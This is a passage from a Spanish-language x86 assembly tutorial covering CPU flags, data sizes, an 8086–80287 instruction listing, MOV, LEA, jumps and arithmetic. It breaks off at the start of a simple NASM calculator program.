1 | 1 = 0&lt;br /&gt;
1 | 0 =1&lt;br /&gt;
0 | 0 =0&lt;br /&gt;
0 | 1 =1&lt;br /&gt;
&lt;br /&gt;
Not: Invierte el valor del bit&lt;br /&gt;
Not 1 = 0&lt;br /&gt;
Not 0 = 1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center style=&quot;color: red;&quot;&gt;
&lt;b&gt;Flags&lt;/b&gt;&lt;/center&gt;
&lt;center&gt;
&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/center&gt;
&lt;br /&gt;
Son registros especiales, en donde se guardan los resultados de la última operación matemática, o de comprobación. No se almacenan resultados numéricos, sino su estado.&lt;br /&gt;
Aunque es un registro de 16 bits, sólo algunos de ellos tienen significado. Los otros adquieren valores indeterminados, y se dice que son bits reservados; un programa no debe tocarlos, pues aunque un equipo dado puede que no los use, otros micros podrían manipularlos internamente, con resultados impredecibles.&lt;br /&gt;
* CF Carry Flag o indicador de acarreo. Normalmente indica si &quot;nos llevamos algo&quot; despues de haber sumado o restado.&lt;br /&gt;
* OF Overflow Flag o indicador de desbordamiento. Si después de una operación el resultado no cabe en el tamaño del registro, se pone a 1.&lt;br /&gt;
* ZF Zero Flag o indicador de cero. Si el resultado da 0 se pone a 1.&lt;br /&gt;
* SF Sign Flag o indicador de signo. Si el resultado es negativo se pone a 1.&lt;br /&gt;
* PF Parity Flag o indicador de paridad. Con algunas operaciones lógicas o aritméticas se pone a 1 si el resultado es par.&lt;br /&gt;
* AF Auxiliary Flag o indicador auxiliar. Se usa para operaciones BCD (si es que éstas valen para algo)&lt;br /&gt;
* DF Direction Flag o indicador de dirección. Se usa en operaciones llamadas &quot;de cadena&quot;, indicando el sentido (ascendente o descendente) en que se recorre la memoria. (Este flag es más divertido de lo que parece.)&lt;br /&gt;
* IF Interrupt Flag o indicador de interrupciones. Cuando se pone a 1 se permiten las interrupciones, a 0 se ignoran; se dice que se enmascaran. Hay no obstante algunas muy especiales que pasan del flag; por ejemplo, si arrancas (físicamente, me refiero; coger con la mano y zás!) una tarjeta de RAM con el trasto encendido, la interrupción que salta -alerta roja, inmersión, inmersión, auuuuu- pasa de este flag olímpicamente (algo así no se puede pasar por alto bajo ninguna circunstancia).&lt;br /&gt;
* TF Trap Flag o indicador de trampa (para ejecución paso a paso, como en los depuradores; podemos olvidarnos de él)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;color: red; text-align: center;&quot;&gt;
&lt;b&gt;Tipos de datos&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Lo que hace diferente a Assembler frente a otros lenguajes, es que tu mismo puedes indicar el tamaño reservado a una variable. Existen 4 tipos, dependiendo del tamaño a ocupar:&lt;br /&gt;
-&amp;gt; &lt;b&gt;BYTE&lt;/b&gt;    - Reserva 8 bit                       - 2 ^ 8  = 256&lt;br /&gt;
-&amp;gt; &lt;b&gt;WORD&lt;/b&gt;   - Reserva 16 bit                     - 2 ^ 16 = 65536&lt;br /&gt;
-&amp;gt; &lt;b&gt;DWORD&lt;/b&gt; - Double Word, reserva 32 bit   - 2 ^ 32 = 4294967296&lt;br /&gt;
-&amp;gt; &lt;b&gt;QWORD&lt;/b&gt; - Quad Word, reserva 64 bit     - 2 ^ 64 = 18446744073709551616 (Únicamente usado en plataformas X64)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center style=&quot;color: red;&quot;&gt;
&lt;b&gt;Juegos de instrucciones&lt;/b&gt;&lt;/center&gt;
&lt;br /&gt;
&lt;br /&gt;
Bueno, esta lista la obtuve de &lt;a href=&quot;http://homepage.mac.com/eravila/asmix86a.html&quot;&gt;Esta URL&lt;/a&gt;, ya que se trata de una gran lista, dependiendo del sistema que utilices. Esta se basa en arquitecturas 80X86:&lt;br /&gt;
&lt;b&gt;acum&lt;/b&gt;                     uno de los acumuladores: AX o AL.&lt;br /&gt;
&lt;b&gt;reg&lt;/b&gt;                        cualquiera de los registros&lt;br /&gt;
&lt;b&gt;segreg&lt;/b&gt;                   uno de los registros de segmento&lt;br /&gt;
&lt;b&gt;r/m&lt;/b&gt;                        uno de los operandos generales: registro, memoria, basado, indexado o basado-indexado&lt;br /&gt;
&lt;b&gt;inmed&lt;/b&gt;                    constante o símbolo de 8 o 16 bits&lt;br /&gt;
&lt;b&gt;mem&lt;/b&gt;                     un operando de memoria: símbolo, etiqueta, variable.&lt;br /&gt;
&lt;b&gt;etiqueta&lt;/b&gt;                 etiqueta de instrucciones.&lt;br /&gt;
&lt;b&gt;src&lt;/b&gt;                        fuente en operaciones de cadena&lt;br /&gt;
&lt;b&gt;dest&lt;/b&gt;                      destino en operaciones de cadena.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&amp;nbsp;8086/8088&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
AAA                                Ajuste ASCII para adición.&lt;br /&gt;
AAD                                Ajuste ASCII para división.&lt;br /&gt;
AAM                                Ajuste ASCII para multiplicación.&lt;br /&gt;
AAS                                Ajuste ASCII para división.&lt;br /&gt;
ADC   acum, inmed           Suma con acarreo.&lt;br /&gt;
r/m,inmed&lt;br /&gt;
r/m, reg&lt;br /&gt;
reg, r/m&lt;br /&gt;
ADD  acum,inmed             Suma.&lt;br /&gt;
r/m,inmed&lt;br /&gt;
r/m, reg&lt;br /&gt;
reg, r/m&lt;br /&gt;
AND  acum,inmed             Operación AND a nivel bit.&lt;br /&gt;
r/m,inmed&lt;br /&gt;
r/m, reg&lt;br /&gt;
reg, r/m&lt;br /&gt;
CALL etiqueta                  Llamado.&lt;br /&gt;
r/m&lt;br /&gt;
CBW                               Convierte byte apalabra.&lt;br /&gt;
CLC                                 Limpia bandera de acarreo.&lt;br /&gt;
CLD                                 Limpia bandera de dirección.&lt;br /&gt;
CLI                                  Limpia bandera de interrupción.&lt;br /&gt;
CMC                                Complementa bandera de acarreo.&lt;br /&gt;
CMP  acum,inmed            Comparación&lt;br /&gt;
r/m,inmed&lt;br /&gt;
r/m, reg&lt;br /&gt;
reg, r/m&lt;br /&gt;
CMPS  src,dest                Comparación de cadenas.&lt;br /&gt;
CMPSB                           Compara cadenas byte por byte.&lt;br /&gt;
CMPSW                          Compara cadenas palabra por palabra.&lt;br /&gt;
CWD                               Convierte palabra a palabra doble.&lt;br /&gt;
DAA                                Ajuste decimal para adición.&lt;br /&gt;
DAS                                Ajuste decimal para substracción.&lt;br /&gt;
DEC   r/m                         Decremento.&lt;br /&gt;
reg&lt;br /&gt;
DIV    r/m                         División.&lt;br /&gt;
ESC  inmed, r/m               Escape con 6 bits.&lt;br /&gt;
HLT                                 Alto.&lt;br /&gt;
IDIV  r/m                          División entera.&lt;br /&gt;
IMUL r/m                         Mutiplicación entera.&lt;br /&gt;
IN      accum,inmed          Entrada desde puerto.&lt;br /&gt;
acum, DX&lt;br /&gt;
INC    r/m                         Incremento.&lt;br /&gt;
reg&lt;br /&gt;
INT3                                Interrupción3 codificada como un byte.&lt;br /&gt;
INT    inmed                     Interrupción0-255.&lt;br /&gt;
INTO                               Interrupción en overflow.&lt;br /&gt;
IRET                                Retorno de interrupción.&lt;br /&gt;
JMP etiqueta                    Brinco incondicional.&lt;br /&gt;
LAHF                               Carga AH con las banderas.&lt;br /&gt;
LDS  r/m                          Carga DS.&lt;br /&gt;
LEA   r/m                         Carga la dirección.&lt;br /&gt;
LES  r/m                          Carga ES.&lt;br /&gt;
LOCK                              Cierra bus.&lt;br /&gt;
LODS  src                        Carga cadena.&lt;br /&gt;
LODSB                            Carga byte de cadena en  AL.&lt;br /&gt;
LODSW                           Carga palabra de la cadena en  AX.&lt;br /&gt;
LOOP  etiqueta                Ciclo.&lt;br /&gt;
LOOPE  etiqueta              Ciclo mientras igual.&lt;br /&gt;
LOOPNE  etiqueta            Ciclo mientras no igual.&lt;br /&gt;
LOOPNZ  etiqueta            Ciclo mientras no cero.&lt;br /&gt;
LOOPZ  etiqueta               Ciclo mientras cero.&lt;br /&gt;
MOV  acum,mem             Mueve un valor del segundo al primer operando&lt;br /&gt;
r/m,inmed&lt;br /&gt;
mem, acum&lt;br /&gt;
r/m, reg&lt;br /&gt;
r/m,segreg&lt;br /&gt;
reg, inmed&lt;br /&gt;
reg,r/m&lt;br /&gt;
segreg,r/m&lt;br /&gt;
MOVS  dest, src               Mueve cadena.&lt;br /&gt;
MOVSB                           Mueve cadena byte por byte.&lt;br /&gt;
MOVSW                          Mueve cadena palabra por palabra.&lt;br /&gt;
MUL  r/m                         Multiplicación.&lt;br /&gt;
NEG  r/m                          Niega(complemento a 2).&lt;br /&gt;
NOP                                Operación ociosa.&lt;br /&gt;
NOT  r/m                          Invierte valores de bits (complemento a 1).&lt;br /&gt;
OR   acum, inmed             Operación OR a nivel de bit.&lt;br /&gt;
r/m,inmed&lt;br /&gt;
r/m, reg&lt;br /&gt;
reg,r/m&lt;br /&gt;
OUTDX, accum                Salida por el puerto dado por el primer operando.&lt;br /&gt;
inmed, acum            (inmediato de 8 bits)&lt;br /&gt;
POP  r/m                         Recupera valor de la pila.&lt;br /&gt;
reg&lt;br /&gt;
segreg&lt;br /&gt;
POPF                              Recupera banderas.&lt;br /&gt;
PUSH  r/m                       Guarda valor en la pila.&lt;br /&gt;
reg&lt;br /&gt;
segreg&lt;br /&gt;
PUSHF                            Guarda banderas.&lt;br /&gt;
RCL  r/m,1                       Rotación a la izquierda con acarreo.&lt;br /&gt;
r/m,CL&lt;br /&gt;
RCR  r/m, 1                      Rotación a la derecha con acarreo.&lt;br /&gt;
r/m, CL&lt;br /&gt;
REP                                 Repite.&lt;br /&gt;
REPE                               Repite si igual.&lt;br /&gt;
REPNE                            Repite si no igual.&lt;br /&gt;
REPNZ                             Repite si no cero.&lt;br /&gt;
REPZ                               Repite si cero.&lt;br /&gt;
RET  [inmed]                    Regresa después de recuperar bytes de la pila.&lt;br /&gt;
ROL r/m,1                        Rotación a la izquierda.&lt;br /&gt;
r/m, CL&lt;br /&gt;
ROR r/m,1                        Rotación a la derecha.&lt;br /&gt;
r/m, CL&lt;br /&gt;
SAHF                              Carga banderas con el valor de AH.&lt;br /&gt;
SAL  r/m, 1                      Desplazamiento aritmético a la izquierda.&lt;br /&gt;
r/m, CL&lt;br /&gt;
SAR  r/m, 1                      Desplazamiento aritmético a la derecha.&lt;br /&gt;
r/m, CL&lt;br /&gt;
SBB  acum, inmed            Substracción con acarreo.&lt;br /&gt;
r/m,inmed&lt;br /&gt;
r/m, reg&lt;br /&gt;
reg,r/m&lt;br /&gt;
SCAS dest                       Explora cadena.&lt;br /&gt;
SCASB                            Explora cadena para el byte en AL.&lt;br /&gt;
SCASW                           Explora cadena por la palabra en AX.&lt;br /&gt;
SHL  r/m, 1                      Desplazamiento a la izquierda.&lt;br /&gt;
r/m, CL&lt;br /&gt;
SHR  r/m, 1                      Desplazamiento a la derecha.&lt;br /&gt;
r/m, CL&lt;br /&gt;
STC                                 Fija bandera de acarreo.&lt;br /&gt;
STD                                 Fija bandera de dirección.&lt;br /&gt;
STI                                  Fija bandera de interrupción.&lt;br /&gt;
STOS dest                       Guarda cadena.&lt;br /&gt;
STOSB                            Guarda byte en AL en la cadena.&lt;br /&gt;
STOSW                           Guarda palabra en AX en la cadena.&lt;br /&gt;
SUB  accum, inmed          Substracción.&lt;br /&gt;
r/m,inmed&lt;br /&gt;
r/m, reg&lt;br /&gt;
reg,r/m&lt;br /&gt;
TEST acum, inmed           Comparación.&lt;br /&gt;
r/m,inmed&lt;br /&gt;
r/m, reg&lt;br /&gt;
reg,r/m&lt;br /&gt;
WAIT                               Aguarda.&lt;br /&gt;
XCHG acum, reg              Intercambio.&lt;br /&gt;
r/m,inmed&lt;br /&gt;
r/m, reg&lt;br /&gt;
reg,r/m&lt;br /&gt;
XLAT                               Traduce.&lt;br /&gt;
XOR acum, reg                 Operación XOR a  nivel bit.&lt;br /&gt;
r/m,inmed&lt;br /&gt;
r/m, reg&lt;br /&gt;
reg,r/m&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;8087&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
F2XM1                             Calcula 2x-1.&lt;br /&gt;
FABS                              Toma valor absoluto del tope de la pila.&lt;br /&gt;
FADD  mem                     Suma real.&lt;br /&gt;
FADD  ST,ST(i)                Suma real desde la pila.&lt;br /&gt;
FADD  ST(i),ST                Suma real a la pila.&lt;br /&gt;
FADDP  ST(i), ST             Suma real y saca de pila.&lt;br /&gt;
FBLD  mem                     Carga un decimal empacado de 10 bytes en  lapila.&lt;br /&gt;
FBSTP  mem                   Almacena un decimal empacado de 10 bytes y saca de pila.&lt;br /&gt;
FCHS                              Cambia signo del valor en el tope de la pila.&lt;br /&gt;
FCLEX                             Borra las excepciones después de un WAIT.&lt;br /&gt;
FCOM                              Compara real.&lt;br /&gt;
FCOM  ST                       Compara real con el tope de la pila.&lt;br /&gt;
FCOM  ST(i)                    Compara real con la pila.&lt;br /&gt;
FCOMP                           Compara real y saca de pila.&lt;br /&gt;
FCOMP  ST                     Compara real con el tope dela pila y saca de pila.&lt;br /&gt;
FCOMP  ST(i)                  Compara real con el tope de la pila y saca.&lt;br /&gt;
FCOMPP                         Compara real y saca dos valores de la pila.&lt;br /&gt;
FDECSTP                        Decrementa el apuntador de la pila.&lt;br /&gt;
FDISI                               Deshabilita las interrupciones después de un WAIT.&lt;br /&gt;
FDIV  mem                      División real.&lt;br /&gt;
FDIV  ST,ST(i)                 División real desde la pila.&lt;br /&gt;
FDIV  ST(i), ST                División real en la pila.&lt;br /&gt;
FDIVPST(i), ST                División real sacando valor de la pila.&lt;br /&gt;
FDIVR                             División real invertida.&lt;br /&gt;
FDIVR  mem                    División real invertida desde memoria.&lt;br /&gt;
FDIVR  ST, ST(i)              División real invertida desde la pila.&lt;br /&gt;
FDIVR  ST(i), ST              División real invertida desde la pila.&lt;br /&gt;
FDIVRPST(i), ST              División con un real invertido y sacando valor de la pila.&lt;br /&gt;
FENI                                Habilita interrupciones después de un WAIT.&lt;br /&gt;
FFREE                             Libera elemento dela pila.&lt;br /&gt;
FIADD mem                     Suma entera de un número de2 ó 4 bytes.&lt;br /&gt;
FICOM  mem                   Compara enteros de 2 ó 4 bytes y saca de la pila.&lt;br /&gt;
FICOMP mem                  Compara entero de 2 ó4 bytes y saca de pila.&lt;br /&gt;
FIDIV mem                      División entera.&lt;br /&gt;
FDIVR mem                     División entera invertida.&lt;br /&gt;
FILD mem                        Carga un entero de 2, 4 u 8 bytes en la pila.&lt;br /&gt;
FIMUL  mem                    Multiplicación entera de 2 ó 4 bytes.&lt;br /&gt;
FINCSTP                         Incrementa el apuntador de la pila.&lt;br /&gt;
FINIT                               Inicializa el procesador después de WAIT.&lt;br /&gt;
FIST  mem                       Almacena entero de 2 ó 4 bytes.&lt;br /&gt;
FISTP  mem                    Almacena entero de 2, 4 u 8 bytes y saca de la pila.&lt;br /&gt;
FISUB  mem                    Resta entero de 2 ó 4 bytes.&lt;br /&gt;
FISUBR  mem                  Resta entera de 2 ó 4 bytes invertida.&lt;br /&gt;
FLD  mem                        Carga real de 4, 8 ó 10 bytes en la pila.&lt;br /&gt;
FLD1                               Pone +1.0 en el tope de la pila.&lt;br /&gt;
FLDCW mem                   Carga la palabra de control.&lt;br /&gt;
FLDENV  mem                 Carga entorno 8087 (14 bytes).&lt;br /&gt;
FLDL2E                           Cargalog2 e en el tope dela pila.&lt;br /&gt;
FLDL2T                           Cargalog2 10en el tope de la pila.&lt;br /&gt;
FLDLG2                           Cargalog102 en el tope de la pila.&lt;br /&gt;
FLDLN2                           Cargaloge2 en el tope de la pila.&lt;br /&gt;
FLDPI                              Carga p en el tope dela pila.&lt;br /&gt;
FLDZ                               Carga +0.0 en el tope de la pila.&lt;br /&gt;
FMUL                              Multiplicación real.&lt;br /&gt;
MUL  mem                       Multiplicación real desde memoria.&lt;br /&gt;
FMUL  ST, ST(i)               Multiplicación real desde pila.&lt;br /&gt;
FMUL  ST(i), ST               Multiplicación real a la pila.&lt;br /&gt;
FMULP  ST, ST(i)            Multiplicación real y saca de la pila.&lt;br /&gt;
FNCLEX                          Borra excepciones sin WAIT.&lt;br /&gt;
FNDISI                            Inhabilita interrupciones sin WAIT.&lt;br /&gt;
FNENI                              Habilita interrupciones sin WAIT.&lt;br /&gt;
FNINIT                             Inicializa procesador sin WAIT.&lt;br /&gt;
FNOP                              Operación nula.&lt;br /&gt;
FNSAVE  mem                 Salva estado 8087 (94 bytes) sin WAIT.&lt;br /&gt;
FNSTCW  mem                Almacena la palabra de control sin WAIT.&lt;br /&gt;
FNSTENV  mem               Guarda el entorno 8087 sin WAIT.&lt;br /&gt;
FNSTSW mem                 Almacena el estado8087 sin WAIT.&lt;br /&gt;
FPATAN                          Función arcotangente parcial.&lt;br /&gt;
FPREM                            Residuo parcial.&lt;br /&gt;
FPTAN                            Función tangente parcial.&lt;br /&gt;
FRNDINT                         Redondea a entero&lt;br /&gt;
FRSTOR mem                  Restablece estado8087 (94 bytes)&lt;br /&gt;
FSAVE mem                    Conserva el estado8087 (94 bytes).&lt;br /&gt;
FSCALE                          Escala&lt;br /&gt;
FSQRT                            Raíz cuadrada&lt;br /&gt;
FST                                 Almacena real.&lt;br /&gt;
FST  ST                           Almacena real desde el tope de la pila.&lt;br /&gt;
FST  ST(i)                        Almacena real desde lapila.&lt;br /&gt;
FSTCW   mem                 Almacena palabra de control  con WAIT.&lt;br /&gt;
FSTENV  mem                 Guarda el entorno 8087 después de WAIT.&lt;br /&gt;
FSTP  mem                     Guarda real de 4, 8 ó 10 bytes y saca de la pila.&lt;br /&gt;
FSTSW  mem                  Almacena la palabra de estado depués de WAIT.&lt;br /&gt;
FSUB                              Substracción real.&lt;br /&gt;
FSUB mem                      Substracción real desde memora.&lt;br /&gt;
FSUB ST, ST(i)                Substracción real desde la pila.&lt;br /&gt;
FSUB ST(i), ST                Substracción real a la pila.&lt;br /&gt;
FSUBPST, ST(i)               Substrae real y saca de pila.&lt;br /&gt;
FSUBR                            Substracción real invertida.&lt;br /&gt;
FSUBR  mem                   Substracción real invertida desde memoria.&lt;br /&gt;
FSUBR  ST,ST(i)              Substracción real invertida desde la pila.&lt;br /&gt;
FSUBR  ST(i), ST             Substracción real invertida a la pila.&lt;br /&gt;
FSUBRPST(i), ST            Substracción real invertida a la pila y saca.&lt;br /&gt;
FTST                               Prueba el tope dela pila.&lt;br /&gt;
FWAIT                             Aguarda que la última operación 8087 termine.&lt;br /&gt;
FXAM                              Examina el elemento del tope de la pila.&lt;br /&gt;
FXCH                              Intercambia contenido de los elementos de la pila.&lt;br /&gt;
FFREEST                         Intercambia el elemento del tope de la pila.&lt;br /&gt;
FFREEST(i)                      Intercambia el elemento del tope de la pila y el i-ésimo elemento.&lt;br /&gt;
FXTRACT                        Extrae el exponente y significando.&lt;br /&gt;
FYL2X                             Calcula Y log2 X.&lt;br /&gt;
FYL2PI                            Calcula Y log2 (x+1)&lt;br /&gt;
80186/80188/80286 (modo no protegido)&lt;br /&gt;
BOUND  reg, mem            Detecta valor fuera de rango.&lt;br /&gt;
ENTER inmed16, inmed8   Hace elemento en la pila para llamada a  procedimiento.&lt;br /&gt;
IMUL  reg, inmed              Multiplicación entera.&lt;br /&gt;
reg, r/m,inmed&lt;br /&gt;
INS  mem, DX                  Entrada de cadena desde el puerto DX.&lt;br /&gt;
INSB mem,DX                  Entrada de cadena de bytes desde el puerto DX.&lt;br /&gt;
INSW  mem DX                Entrada de cadena de palabras desde el puerto DX.&lt;br /&gt;
LEAVE                             Deja procedimiento.&lt;br /&gt;
OUTS DX, mem               Salida de cadena de bytes o palabras al puerto DX.&lt;br /&gt;
OUTSBDX,  mem             Salida de cadena de bytes al puerto DX.&lt;br /&gt;
OUTSW DX, mem            Salida de cadena de palabras al puerto DX.&lt;br /&gt;
POPA                              Saca todos los registros de la pila.&lt;br /&gt;
PUSH  inmed                   Introduce a la pila&lt;br /&gt;
PUSHA                            Introduce todos los registros.&lt;br /&gt;
RCL  r/m, inmed               Rotación a la izquierda con acarreo&lt;br /&gt;
RCR  r/m, inmed               Rotación a la derecha con acarreo.&lt;br /&gt;
ROL  r/m, inmed               Rotación a la izquierda.&lt;br /&gt;
ROR  r/m, inmed               Rotación a la derecha.&lt;br /&gt;
SAL  r/m, inmed               Desplazamiento aritmético a la izquierda.&lt;br /&gt;
SAR  r/m, inmed               Desplazamiento aritmético a la derecha.&lt;br /&gt;
SHL  r/m, inmed               Desplazamiento a la izquierda.&lt;br /&gt;
SHR  r/m, inmed               Desplazamiento a la derecha.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;80286 (modo protegido)&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
ARPL  mem, reg               Ajusta petición de nivel de privilegio.&lt;br /&gt;
CLTS                               Limpia bandera de conmutación de tareas.&lt;br /&gt;
LAR reg, mem                  Carga derechos de acceso.&lt;br /&gt;
LGDT mem                      Carga la tabla de descriptores globales (8 bytes).&lt;br /&gt;
LIDT mem                        Carga tabla de descriptores de interrupciones (8 bytes).&lt;br /&gt;
LLDT mem                       Carga la tabla de descriptores locales.&lt;br /&gt;
LMSW mem                     Carga la palabra de estado.&lt;br /&gt;
LSL reg, mem                  Carga el límite del segmento.&lt;br /&gt;
LTR mem                         Carga registro de tareas.&lt;br /&gt;
SGDT mem                      Guarda la tabla de descriptores locales (8 bytes).&lt;br /&gt;
SIDT mem                       Guarda tabla de descriptores de interrupciones (8 bytes).&lt;br /&gt;
SMSW mem                    Guarda la palabra de estado.&lt;br /&gt;
STR mem                        Guarda registro de tareas.&lt;br /&gt;
VERR mem                      Verifica acceso de lectura.&lt;br /&gt;
VERW mem                     Verifica acceso de escritura.&lt;br /&gt;
80287&lt;br /&gt;
FSETPM                          Fija modo protegido.&lt;br /&gt;
FSTSWAX                       Almacena palabra de estado en AX (aguarda).&lt;br /&gt;
FNSTSWAX                     Almacena palabra de estado en AX (no aguarda).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center style=&quot;color: red;&quot;&gt;
&lt;b&gt;Moviendo movimientos&lt;/b&gt;&lt;/center&gt;
&lt;br /&gt;
&lt;br /&gt;
MOV destino, origen&lt;br /&gt;
Esta función trata el intercambio entre registros, ya sean valores o direcciones. Pongamos un ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;MOV EBX, 1
MOV EAX, EBX&lt;/pre&gt;
&lt;br /&gt;
Estamos enviando el valor 1 a EBX, y este pasaría a EAX. Recordemos que un registro está compuesto por 32 bit, pero en este caso únicamente utilizamos 4 bit, por lo que utilizaríamos únicamente los últimos 4 bit, es decir, BL y AL.&lt;br /&gt;
¿Pero no dijiste que podrías mover un valor o una dirección? Así es.&lt;br /&gt;
Supongamos por un momento, que tenemos una direccion en memoria, en el registro EBX, y queremos pasarlo a EAX... Hariamos lo mismo, ya que en el ejemplo anterior, pasamos la dirección de 1 a EAX. Si no queremos esto, podemos pasar únicamente el valor, en lugar de la dirección de la siguiente manera:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;MOV EAX, dowrd [EBX]&lt;/pre&gt;
&lt;br /&gt;
Le estaríamos indicando que pasaremos un valor de tamaño DWORD a EAX, y ese valor es el que estará presente en EBX.&lt;br /&gt;
&lt;br /&gt;
&lt;center style=&quot;color: red;&quot;&gt;
&lt;b&gt;Instrucción LEA&lt;/b&gt;&lt;/center&gt;
&lt;center&gt;
&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/center&gt;
&lt;br /&gt;
No, no te vamos a pedir que te pongas a leer... De momento. Recordando el caso de MOV... ¿Y si queremos un puntero? Fácil. La instrucción LEA se encarga de ello. Como vemos, la sintaxis es sencilla:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;LEA destino, origen&lt;/pre&gt;
&lt;br /&gt;
Supongamos que tenemos un valor almacenado en EDX, y queremos un offset en EAX, lo haríamos de la siguiente forma:&lt;br /&gt;
&lt;pre&gt;LEA EDX, [EAX]&lt;/pre&gt;
&lt;br /&gt;
De esta forma, indicaríamos que pasaremos el offset (LEA) a EDX, residente en EAX&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Instrucciones JMP y CALL&lt;/span&gt;&lt;/b&gt;&lt;/center&gt;
&lt;br /&gt;
Estas instrucciones son las encargadas de desviar el programa a una zona determinada. La diferencia entre JMP y CALL, es que CALL realiza un salto a una subrutina con retorno, mientras que JMP realiza un salto dentro del segmento.&lt;br /&gt;
Su sintaxis es:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;JMP destino
CALL destino&lt;/pre&gt;
&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;
Básicamente, la principal diferencia entre JMP y CALL, es que JMP ejecuta un salto a una línea de código, y CALL entra en una subrutina.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center style=&quot;color: red;&quot;&gt;
&lt;b&gt;Comparaciones&lt;/b&gt;&lt;/center&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;JB o JNAE:&lt;/b&gt; Salta si CF está activada.&lt;br /&gt;
Objetivo: Saltar si la última comparación realizada con&lt;br /&gt;
números naturales da menor.&lt;br /&gt;
&lt;b&gt;JG o JNLE:&lt;/b&gt; Salta si ZF es cero o si OF y SF son iguales.&lt;br /&gt;
Objetivo: Saltar si la última comparación realizada con&lt;br /&gt;
números enteros da mayor.&lt;br /&gt;
&lt;b&gt;JL o JNGE:&lt;/b&gt; Saltar si SF es diferente a OF&lt;br /&gt;
Objetivo: Saltar si la última comparación realizada con&lt;br /&gt;
números enteros da menor.&lt;br /&gt;
&lt;b&gt;JC:&lt;/b&gt; Saltar si CF está prendida&lt;br /&gt;
Objetivo: Saltar si hay acarreo&lt;br /&gt;
&lt;b&gt;JO:&lt;/b&gt; Saltar si OF está prendido&lt;br /&gt;
Objetivo: Saltar si hay desbordamiento&lt;br /&gt;
&lt;b&gt;JP:&lt;/b&gt; Saltar si PF está prendido&lt;br /&gt;
Objetivo: Saltar si hay paridad&lt;br /&gt;
&lt;b&gt;JS:&lt;/b&gt; Saltar si SF está prendido&lt;br /&gt;
Objetivo: Saltar si es negativo&lt;br /&gt;
&lt;b&gt;JNE o JNZ:&lt;/b&gt; Comportamiento inverso a JE o JZ&lt;br /&gt;
&lt;b&gt;JNA o JBE&lt;/b&gt;: Comportamiento inverso a JA o JNBE&lt;br /&gt;
&lt;b&gt;JNB o JAE&lt;/b&gt;: Comportamiento inverso a JB o JNAE&lt;br /&gt;
&lt;b&gt;JNG o JLE&lt;/b&gt;: Comportamiento inverso a JG o JNLE&lt;br /&gt;
&lt;b&gt;JNL o JGE&lt;/b&gt;: Comportamiento inverso a JL o JNGE&lt;br /&gt;
&lt;b&gt;JNC&lt;/b&gt;: Comportamiento inverso a JC&lt;br /&gt;
&lt;b&gt;JNO&lt;/b&gt;: Comportamiento inverso a JO&lt;br /&gt;
&lt;b&gt;JNP o JPO&lt;/b&gt;: Comportamiento inverso a JP&lt;br /&gt;
&lt;b&gt;JNS&lt;/b&gt;: Comportamiento inverso a JS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center style=&quot;color: red;&quot;&gt;
&lt;b&gt;Algunas operaciones aritméticas&lt;/b&gt;&lt;/center&gt;
&lt;center&gt;
&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/center&gt;
&lt;br /&gt;
Suma:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;MOV EAX,10
MOV EDX,20
ADD EAX,EDX
&lt;/pre&gt;
Resta:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;MOV EAX,20
MOV EDX,10
SUB EAX,EDX
&lt;/pre&gt;
Multiplicación con signo:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;MOV EAX,10
MOV EDX,20
IMUL EAX,EDX
&lt;/pre&gt;
División sin signo:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;MOV AX,20
MOV BL,4
DIV BL
&lt;/pre&gt;
Ejemplo de una calculadora simple en NASM:&lt;br /&gt;
&lt;blockquote&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;global main&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;extern printf&lt;br /&gt;
extern scanf&lt;br /&gt;
extern exit&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;segment .data&lt;br /&gt;
sVal1 DB `Entero 1: \0`&lt;br /&gt;
sVal2 DB `Entero 2: \0`&lt;br /&gt;
sTOTAL DB `Resultado: %i\n\0`&lt;br /&gt;
Ftoi DB `%i\0`&lt;br /&gt;
sMenu DB `@@@@@@@@@@@@@@@@@@@@@@\n@                    @\n@                    @\n@ Calculadora V1 ASM @\n@                    @\n@                    @\n@@@@@@@@@@@@@@@@@@@@@@\n\n1.- Suma\n2.- Resta\n3.- Multiplicación\n4.- División\n\nOpción:\n\0`&lt;br /&gt;
sMal DB `Opcion incorrecta\n\0`&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;segment .bss&lt;br /&gt;
NUM1 RESB 4&lt;br /&gt;
NUM2 RESB 4&lt;br /&gt;
Menu RESB 4&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;segment .text&lt;br /&gt;
main:&lt;br /&gt;
